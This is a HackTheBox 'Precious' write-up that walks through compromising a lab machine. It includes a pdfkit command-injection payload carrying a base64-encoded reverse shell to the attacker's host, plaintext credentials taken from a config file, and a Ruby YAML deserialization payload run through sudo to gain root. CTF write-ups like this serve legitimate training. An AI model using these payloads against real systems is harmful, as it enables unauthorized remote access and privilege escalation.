Precious hackthebox writeup

User flag

As always let’s scan the ports.

nmap -p- -Pn -n -vv --min-rate 5000 -sS -oN allports 10.10.11.189

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nothing outside your typical hackthebox easy machine

nmap -p80,22 -sCV -vv -oN targeted 10.10.11.189

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
...
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Then let’s add precious.htb to our /etc/hosts and start investigating the page. The main functionality of this page is to transform another webpage to a .pdf, you can try it with your IP by opening an http server with python

python3 -m http.server

But what is important here is what technology is being used, to get that information we are going to use burpsuite to intercept the request. If you enter a valid IP the pdf will be downloaded and by intercepting this package we can find it at the end in the metadata Generated by pdfkit v0.8.6. Doing a quick google search leads us to Snyk with a poc to exploit this vulnerability. After trying the sleep payload and seeing it worked I tried to get a reverse shell. I managed to get by using the usual base64 encoding, this is a payload example.

http://10.10.14.80/?name=#{'%20`echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuODAvNzc3NyAwPiYxCg==" | base64 -d | bash`'}

And got a reverse shell successfully. Now it was time to improve the tty for a better workflow

[dasor@archlinux ~]$ nc -lvp 7777
Connection from 10.10.11.189:50408
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended  nc -lvp 7777
[dasor@archlinux ~]$ stty raw -echo;fg
[1]  + continued  nc -lvp 7777
                              script /dev/null -c bash
Script started, output log file is '/dev/null'.
ruby@precious:/var/www/pdfapp$ export TERM=xterm
ruby@precious:/var/www/pdfapp$ stty rows 30 columns 132
ruby@precious:/var/www/pdfapp$

Although we can’t yet get the user flag since we are the user ruby. However, one thing experience solving ctf’s has taught me is to look at the home directory and look for non-usual folders (for instance this also applies to the last machine metatwo. In this case, we have a .bundle folder, bundle is a ruby-related application (actually the one my blog uses), So out of curiosity, I checked the folder and … found plaintext credentials!.

ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls -la
total 844
drwxr-xr-x 5 ruby ruby   4096 Dec  9 11:20 .
drwxr-xr-x 4 root root   4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root      9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby    220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby   3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby   4096 Oct 26 08:28 .bundle
drwxr-xr-x 4 ruby ruby   4096 Dec  9 11:10 .cache
drwx------ 3 ruby ruby   4096 Dec  9 11:20 .gnupg
-rwxr-xr-x 1 ruby ruby 827827 Oct 22 08:50 linpeas.sh
-rw-r--r-- 1 ruby ruby    807 Mar 27  2022 .profile
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ su henry
Password:
henry@precious:/home/ruby/.bundle$

Root flag

The root flag is also simple, by executing sudo -l we find what looks like a privesc vector.

henry@precious:/home/ruby/.bundle$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

If we execute the command it gives us an error regarding a dependencies.yml file

henry@precious:/home/ruby/.bundle$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
        2: from /opt/update_dependencies.rb:17:in `<main>'
        1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)

So if hacking has taught us something is to never trust user input, and in this case, we can create our own dependencies.yml file. By making a quick google search I found this exploit from PayloadAllTheThings. The ruby version is 2.7.4 so the first payload won’t work, let’s use the second.

henry@precious:/dev/shm$ cat > dependencies.yml
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve
^C
henry@precious:/dev/shm$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
...

We can see it works fine, so the last step is just to change the id command for something that can be used to escalate like bash

henry@precious:~$ vi dependencies.yml
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# cd
root@precious:~# whoami
root

And that’s it! thank you for reading